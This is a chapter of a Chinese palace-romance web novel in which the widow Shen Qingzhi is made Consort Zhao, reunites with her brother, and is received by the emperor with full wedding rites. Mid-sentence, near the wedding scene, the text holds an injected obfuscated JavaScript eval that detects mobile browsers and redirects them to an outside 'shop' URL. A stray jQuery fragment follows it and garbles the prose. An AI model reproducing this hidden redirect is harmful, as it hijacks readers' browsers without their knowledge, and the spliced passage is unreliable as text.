黄道吉日,太后在慈宁宫正堂焚香沐浴,亲笔拟了一道懿旨。
“皇帝继位多年,后宫无所出,此哀家之过,亦嫔妃之责。今有沈氏清栀,温婉贤淑,德容兼备,堪为后宫表率。着即封为昭妃,择日入宫,钦此。”
这道旨意如同一道平地惊雷,在朝堂后宫炸开了锅。
后宫炸得更厉害。懿旨颁下来的当夜,高位妃嫔宫里摔了多少瓷器茶盏无人知晓,只是第二日倒出来的碎片比平日多了几筐。其余妃嫔也好不到哪里去——皇帝素来不溺于儿女之情,她们半年一年都见不到一次皇上的面,如今凭空落下一个昭妃,还是个再嫁的寡妇,谁心里能平?
“昭”字寓意“昭昭若日月之明”,是光明灿烂之意,又有“昭显德行”之美。谁都看得出来,皇家对这个新妃的喜爱与期许,远非寻常封号可比。
前朝也不平静。言官们递了好几道折子,说“寡妇入宫,有违礼制”,劝陛下三思。萧衍将那些折子留中不发,一个字都没回。满朝文武便都明白了——圣意已决,不可动摇。
沈家接了旨,阖府上下喜气洋洋。先是出了一个吏部侍郎,又出了一位宫里的娘娘。不说他们这些长辈,就是尚未议亲的弟弟妹妹,也实在是有福了。
沈清栀没有在宫里多留。懿旨下来的第二天,她就收拾了东西,回到了沈家。按照规矩,封妃之后要在家中等候吉日,由礼部正式迎入宫中。
马车在沈府门口停下来的时候,沈清栀掀开车帘,看见沈家一家人已经等在门口了。她下了车,还没站稳,便由沈清柏带头跪了下来。
“臣等给昭妃娘娘请安。”
沈清柏半个月前进京述职,在湖州他已经听说了小妹和离的消息,回到家却没见到她,三婶说她进宫了。他心中百味杂陈,此刻跪在地上,看着小妹一身华服站在暮色里,竟觉得有些恍惚。
“大哥快请起。”沈清栀弯下腰,双手扶起他,声音轻轻的,“都是一家人,不必如此。”
——
晚间,好久不见的兄妹俩坐在一起叙话。
“吏部侍郎这个职位,”沈清柏开口,语气里带着一丝复杂的意味,“我实在没想到会落到我头上来。如今看到这道旨意——”他顿了一下,抬起头看着沈清栀,“已经大概有些明白了。”
沈清栀垂下眼睫,没有说话。
沈清柏看着她的侧脸,看着她微微抿紧的唇角,看着她交握在膝上的手指。那双手瘦得骨节分明,指尖泛着淡淡的青白,像是一整个冬天都没有暖过来。他心里一阵一阵地疼——疼他不在的这三年,疼她一个人扛了那么多,疼他如今才回来,才来得及替她撑腰。
“小妹,”他的声音轻了下去,“你从小就心善。父亲当初不愿意你进宫,就是觉得宫里太复杂,怕你应付不来。没想到绕了一大圈,你还是去了。”他顿了顿,“父亲若在天有灵,不知是该高兴还是该心疼。”
沈清栀抬起头,看着他的眼睛,目光澄澈而坚定。
“大哥,我已经长大了。”
沈清柏怔了一下。
“不再是当年那个躲在父亲身后、什么事都要你们替我挡的小女孩了。”
“所以不要再担心我了。”沈清栀的声音轻了下去,轻到像一缕烟,可那双眼睛里的光,亮得像一盏灯,“我知道进宫的路不好走,可我不怕。我有大哥在朝堂上替我撑着,我沈清栀不比别人差的。”
沈清柏看了她很久。
他露出又心酸又欣慰的笑。
“好。”他伸出手,像小时候那样拍了拍她的头顶,“不管你在宫里走到哪一步,沈家永远是你的后盾。父亲不在了,还有我。”
“嗯。”
——
吉日定在八月十六,中秋后的第二天。
入宫的程序比沈清栀想象中更繁琐。先拜太后。太后今日穿了朝服,庄重肃穆,高高坐在凤榻上,目光从她身上淡淡扫过。
“起来吧。”太后的声音不大,却让殿内所有人都听得清清楚楚,“既入了宫,就是皇家的人了。好好伺候皇帝,早日为皇家开枝散叶。”
沈清栀叩首:“臣妾谨遵太后教诲。”
太后的目光在她身上停了一瞬,那目光里有审视,有认可,也有一丝说不清道不明的东西,像是叹息,又像是释然。然后她挥了挥手:“去吧,皇帝在等你。”
轿子落在长乐宫门前。翠屏扶她下来,低声道:“娘娘,到了。”
长乐宫,离皇帝的养心殿很近。殿内已经布置妥当了——红烛、喜帐、龙凤呈祥的锦被,满眼的红色,红得像一团火。
沈清栀站在门口,脚步顿了一下,眉头微微蹙起。她转过头看向引路的刘培,声音里带着一丝迟疑:“刘公公,这不合礼制……”
刘培躬着身子,笑得眼睛眯成一条缝:“娘娘,这是陛下吩咐的。陛下说了,旁的可以从简,唯独这屋子,必须按大婚的规制来。”
沈清栀怔住了。他竟敢这样吩咐,也不怕被人参上一本。翠屏扶她在床边坐下,她垂着眼,手指无意识地摩挲着膝上嫁衣的纹路,心绪纷乱。
殿门被推开。沉稳的脚步声,不急不缓,一下一下踩在金砖上,越来越近。她没有抬头,心跳却快得像擂鼓。
萧衍在她面前蹲下来,伸手握住她的手。她的手指冰凉,微微发抖,他将它们拢进掌心里,一根一根地收拢,像要把她所有的紧张都攥碎。
沈清栀终于抬起头。
萧衍竟然也穿着大婚的吉服——玄色底,红色镶边,冕旒垂珠在额前轻轻晃动。烛光落在他脸上,将他的眉眼照得格外清晰:眉骨高而锋利,鼻梁挺直如削。
可那双琥珀色的眼睛是软的,软得像少年时在梧桐树下替她擦眼泪的样子,里面映着她的倒影——小小的,穿着红色嫁衣的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599283|202757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,眼睛亮得像盛了一整条星河的女人。
他笑了。笑得很开怀,眼底有光,像少年人终于得了心心念念的宝物。
“清栀。”他没有叫封号,叫的是她的名字。声音很轻,“在朕心里,你本就是朕的妻子。是朕想要相伴一生的人。只是——”他顿了一下,声音又低了几分,“若直接册封皇后,前朝后宫都会盯着你,你怕是承受不住那些压力。”
他看着她,目光里有愧疚。
“你能原谅朕吗?”
沈清栀摇了摇头:“陛下不必说原谅。只要能跟陛下长长久久地待在一起,妾不要什么名分。”
萧衍伸手捧住她的脸,拇指轻轻摩挲着她的颧骨:“皇后,肯定是你的。”他顿了一下,嘴角弯起一个意味深长的弧度,“只是,如果要更快一点——”
“咱们还是要多多努力。”
沈清栀听懂了他的暗示,一下子脸红到了耳根,连脖颈都染上了一层淡淡的粉色。她低下头,不敢看他,睫毛颤得像蝴蝶扇动翅膀。
萧衍看着她这副模样,嘴角弯了一下,没有再说话。
——
红烛烧得噼啪作响。
他伸手摘下她的发簪,青丝倾泻而下,铺了满肩。那支赤金衔珠步摇落在她掌心里,东珠的光泽在烛光下温润如初。他握住她的手,将步摇取过来,放在枕边。动作很轻很慢,像是在拆一件等了很久的礼物。
沈清栀闭上眼睛。
这一次不一样。
萧衍的动作比以往任何一次都更凶狠,像要把这几个月错过的、隐忍的、压在心头的,全部在这一夜讨回来。沈清栀咬着唇,手指攥着身下的锦被,指节泛白。她没有出声,觉得羞。
他低下头,在她耳边说了一句什么,她的脸一下子红透了,松开了咬着的嘴唇。
窗外,月亮从云层后面探出头来,又羞了回去。
殿内的红烛烧了一夜,烛泪层层叠叠地堆在烛台上,像一座小小的火山。
敬事房总管钱宏达在门外急得团团转,几次想要劝阻,却被刘培一个眼神斜了回去。
“你什么时候见皇帝这么有兴致了?”刘培压低声音,语气里带着一丝警告,“敢扰了皇帝的兴致,几个脑袋都不够你掉的。”
钱宏达缩了缩脖子,可还是有些不放心:“可是这不合规矩……”
刘培点了两句,声音低得只有两个人能听见:“咱们皇上,可不是以往纵情声色的主儿,你就不要按照你们之前的规矩走。你要是再阻拦,太后娘娘因为没有皇嗣的事情怪罪下来,第一个就是拿你顶包。”
钱宏达打了个哆嗦,喏喏称是,彻底不敢再开口,老老实实地缩在廊下等着。
“备水。”
不知过了多久,里边终于传来皇帝略带沙哑的声音,带着事后的慵懒与餍足。
钱宏达如蒙大赦,连滚带爬地去吩咐。